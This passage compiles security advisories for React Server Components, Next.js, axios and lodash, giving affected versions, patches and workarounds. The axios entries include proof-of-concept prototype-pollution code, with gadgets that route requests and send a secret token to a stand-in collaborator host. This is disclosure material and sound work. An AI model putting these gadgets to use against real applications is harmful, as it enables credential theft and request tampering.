Denial of Service Vulnerability in React Server Components
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Source Code Exposure Vulnerability in React Server Components
Impact
There is a source code exposure vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
React Server Components are Vulnerable to RCE
Impact
There is an unauthenticated remote code execution vulnerability in React Server Components.
We recommend upgrading immediately.
The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
A fix was introduced in versions 19.0.1, 19.1.2, and 19.2.1. If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Next.js is vulnerable to RCE in React flight protocol
A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182.
Fixed in:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+
The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.
All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.
<sup>1</sup> The affected React packages are:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
Next.JS vulnerability can lead to DoS via cache poisoning
Summary
A vulnerability affecting Next.js has been addressed. It impacted versions 15.0.4 through 15.1.8 and involved a cache poisoning bug leading to a Denial of Service (DoS) condition.
Under certain conditions, this issue may allow a HTTP 204 response to be cached for static pages, leading to the 204 response being served to all users attempting to access the page
More details: CVE-2025-49826
Credits
Allam Rachid zhero;
Allam Yasser (inzo)
Next.js Denial of Service (DoS) condition
Impact
A Denial of Service (DoS) condition was identified in Next.js. Exploitation of the bug can trigger a crash, affecting the availability of the server.
This vulnerability can affect all Next.js deployments on the affected versions.
Patches
This vulnerability was resolved in Next.js 13.5 and later. We recommend that users upgrade to a safe version.
Workarounds
There are no official workarounds for this vulnerability.
Credit
Thai Vu of flyseccorp.com
Aonan Guan (@0dd), Senior Cloud Security Engineer
Next.js Vulnerable to HTTP Request Smuggling
Impact
Inconsistent interpretation of a crafted HTTP request meant that requests are treated as both a single request, and two separate requests by Next.js, leading to desynchronized responses. This led to a response queue poisoning vulnerability in the affected Next.js versions.
For a request to be exploitable, the affected route also had to be making use of the rewrites feature in Next.js.
Patches
The vulnerability is resolved in Next.js 13.5.1 and newer. This includes Next.js 14.x.
Workarounds
There are no official workarounds for this vulnerability. We recommend that you upgrade to a safe version.
References
https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning
Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components
A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as CVE-2026-23864.
A specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.
Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up
It was discovered that the fix for CVE-2025-55184 in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption.
This vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as CVE-2025-67779.
A malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.
Next Vulnerable to Denial of Service with Server Components
A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.
A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.
Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
Impact
A vulnerability in applications using Pages and App router without Cache Component can lead to remote code execution when the server is hosted on machines using a Windows filesystem.
Workaround
There is no known workaround for affected windows-hosted applications. You should upgrade immediately if your server is hosted on Windows.
Axios: Nested axios option objects can consume polluted prototype values
Summary
Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.
The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.
Impact
This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.
Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.
The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.
This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.
Affected Functionality
Affected runtime functionality:
Node HTTP adapter Basic auth handling in lib/adapters/http.js.
Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
Query serialization through lib/helpers/buildURL.js.
axios.getUri() when called with an affected paramsSerializer object.
Affected config shapes:
auth: {} or an auth object missing own username and/or password.
paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.
Unaffected by this specific issue:
Requests with no auth property.
Requests with no paramsSerializer property.
Top-level polluted auth or paramsSerializer values in current hardened versions.
Technical Details
lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:
``js
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
}
`
Downstream code then reads nested fields without own-property checks.
In lib/helpers/resolveConfig.js:
`js
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
`
In lib/adapters/http.js:
`js
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
`
In lib/helpers/buildURL.js:
`js
const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
`
Proof of Concept of Attack
`js
import http from 'node:http';
import axios from './index.js';
const user = 'attacker';
const pass = 'exfil';
Object.defineProperty(Object.prototype, 'username', {
value: user,
configurable: true
});
Object.defineProperty(Object.prototype, 'password', {
value: pass,
configurable: true
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true
});
const server = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
url: req.url
}));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
try {
const port = server.address().port;
const response = await axios.get(http://127.0.0.1:${port}/demo, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored' }
});
console.log(response.data);
} finally {
await new Promise((resolve) => server.close(resolve));
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
`
Observed result:
`json
{
"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
"url": "/demo?polluted=1"
}
`
Workarounds
If upgrading is not yet possible, avoid passing placeholder nested option objects.
Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.
These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
<details>
<summary>Original Report</summary>
Summary
axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string.
Details
mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:
mergeConfig.js Lines 36-45
`
function getMergedValue(target, source, prop, caseless) {
if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
return utils.merge.call({ caseless }, target, source);
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
} else if (utils.isArray(source)) {
return source.slice();
}
return source;
}
`
The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:
Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70
`
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
`
Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836
`
// HTTP basic authentication
let auth = undefined;
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
`
paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54
`
export default function buildURL(url, params, options) {
if (!params) {
return url;
}
const _encode = (options && options.encode) || encode;
const _options = utils.isFunction(options)
? {
serialize: options,
}
: options;
const serializeFn = _options && _options.serialize;
let serializedParams;
if (serializeFn) {
serializedParams = serializeFn(params, _options);
} else {
serializedParams = utils.isURLSearchParams(params)
? params.toString()
: new AxiosURLSearchParams(params, _options).toString(_encode);
}
`
Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.
The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.
PoC
`
import http from 'node:http';
import axios from '../../index.js';
const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(${ATTACKER_USER}:${ATTACKER_PASS}).toString('base64');
// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
value: ATTACKER_USER,
configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
value: ATTACKER_PASS,
configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true,
});
// Local capture server.
const server = http.createServer((req, res) => {
const captured = {
authorization: req.headers['authorization'] || null,
url: req.url,
};
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify(captured));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
try {
// Application code: passes nested placeholder option objects that have
// no own auth/serializer properties. Without prototype pollution this is
// a no-op. With prototype pollution it becomes attacker-controlled state.
const response = await axios.get(http://127.0.0.1:${port}/demo, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored-by-polluted-serializer' },
});
console.log('--- PoC: nested-option prototype-pollution gadgets ---');
console.log('Server saw:', JSON.stringify(response.data));
const authLeaked = response.data.authorization === Basic ${ATTACKER_BASIC};
const urlRewritten = response.data.url === '/demo?polluted=1';
if (authLeaked && urlRewritten) {
console.log(
'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
'Object.prototype values into the outbound request.'
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
console.log(' authLeaked =', authLeaked);
console.log(' urlRewritten =', urlRewritten);
process.exitCode = 1;
}
} finally {
server.close();
// Restore Object.prototype so a noisy exit/process state cannot affect
// anything else accidentally sharing the runtime.
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
``
Impact
Concrete consequences:
Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.
Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.
<details>
Axios: Prototype pollution gadgets can alter axios request construction
Summary
axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.
Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.
Impact
An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.
For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.
For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.
Affected Functionality
Affected normal API:
axios.get(url[, config])
axios.delete(url[, config])
axios.head(url[, config])
axios.options(url[, config])
Affected low-level usage:
Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy.
Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer.
Unaffected or corrected scope:
Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads.
Technical Details
lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.
lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.
The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.
Proof of Concept of Attack
``js
import http from 'http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
res.writeHead(200, {'content-type': 'application/json'});
res.end(JSON.stringify({body, headers: req.headers}));
});
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.data = 'INJECTED';
try {
const res = await axios.get(http://127.0.0.1:${server.address().port}/data);
console.log(res.data.body); // "INJECTED"
console.log(res.data.headers['content-length']); // "8"
} finally {
delete Object.prototype.data;
await new Promise(resolve => server.close(resolve));
}
`
Expected result: a request body is sent even though the caller did not explicitly set config.data.
Workarounds
Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.
<details>
<summary>Original Report</summary>
Summary
Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests.
Details
The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:
config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.
(config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.
config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings.
I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage.
PoC
Ran against axios@1.15.2 on node:22-slim in Docker. Clean install, no other deps.
`javascript
import axios from 'axios';
// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header
`
`javascript
// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body
`
`javascript
// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });
`
Impact
Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer` directly.
</details>
Next.js: Cache confusion of response bodies for requests with bodies
Impact
A server-side fetch with a request body may return a cached response body from a different request to the same URL but different body. Confidential data in the POST's response body would then leak to unauthorized requests. Though the request itself will not be deduped.
This only applies to fetch calls with a request that has a different init than the one passed to fetch.
Safe: fetch(new Request(init), init)
Unsafe: fetch(new Request(init), aDifferentInit)
Workarounds
No workaround exists besides upgrading. Applications using Pages Router are not vulnerable.
Next.js: Cache confusion of response bodies for requests with bodies containing invalid UTF-8 byte sequences
Impact
A server-side fetch with a request body may return a cached response body from a different request to the same URL but different body. Confidential data in the POST's response body would then leak to unauthorized requests. Though the request itself will not be deduped.
This is only an issue when receiving request bodies with a content type charset other than UTF-8. For example, the UTF-16 byte sequences for 삃삃 and 섄섄 in the request body would share the same cache.
Workarounds
If you cannot upgrade, consider only making fetch requests with UTF-8 bodies (default in Next.js). Applications using Pages Router are not vulnerable.
Next.js: Unbounded Server Action payload in Edge runtime
Impact
Requests targeting Next.js applications using App Router with at least one Server Action can lead to excessive memory consumption if that Server Actions uses the Edge runtime
Workarounds
If you cannot upgrade, ensure your hosting provider limits the request's body size. 5 MiB should be allowed at max by your hosting provider.
Next.js: Server-Side Request Forgery in rewrites via attacker-controlled destination hostname
Impact
A rewrites() or redirects() rule that builds its external destination hostname from request-controlled input can be pointed at an arbitrary hostname, regardless of the rule's hostname suffix. For a rewrite, Next.js proxies the request to that arbitrary host and serves the response from the application's origin, leading to Server-Side Request forgery. A redirects() rule configured this way is vulnerable to an Open Redirect.
This affects any destination that puts a dynamic segment in the hostname, whether from the path:
``javascript
// next.config.js
module.exports = {
async rewrites() {
return [
{
source: '/:tenant',
destination: 'https://:tenant.api.example.com',
},
]
},
}
`
or from a has capture:
`javascript
// next.config.js
module.exports = {
async rewrites() {
return [
{
source: '/',
has: [{ type: 'query', key: 'region', value: '(?<region>.+)' }],
destination: 'https://:region.api.example.com',
},
]
},
}
`
Workarounds
If you cannot upgrade immediately, do not build the hostname of an external rewrites() or redirects() destination from user-controlled input. If a dynamic subdomain is required, constrain the value to hostname-safe characters: value: '(?<region>[a-z0-9-]+)'`.
Next.js: Unauthenticated disclosure of internal Server Function endpoints
Impact
In Next.js applications using App Router, Server Actions (use server) or use cache endpoints can be disclosed bypassing any authentication on the pages where these endpoints are usually used.
Server Action IDs can be disclosed to unauthenticated users via publicly served client artifacts (for example, static chunks containing action references).
Affected users are applications using App Router + Server Actions.
By itself, this disclosure is typically a recon/enumeration primitive; however, it can increase risk when combined with other weaknesses.
Workarounds
Never assume any authentication claims at the use cache or use server boundary. Always authenticate within the boundary.
Next.js: Denial of Service in App Router using Server Actions
Impact
Crafted requests targeting Next.js applications using App Router with at least one Server Action can lead to excessive CPU usage blocking processing of further requests in the same process.
Workarounds
No workaround exists besides upgrading. Applications using Pages Router or not using Server Actions are not vulnerable.
lodash vulnerable to Code Injection via `_.template` imports key names
Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template use
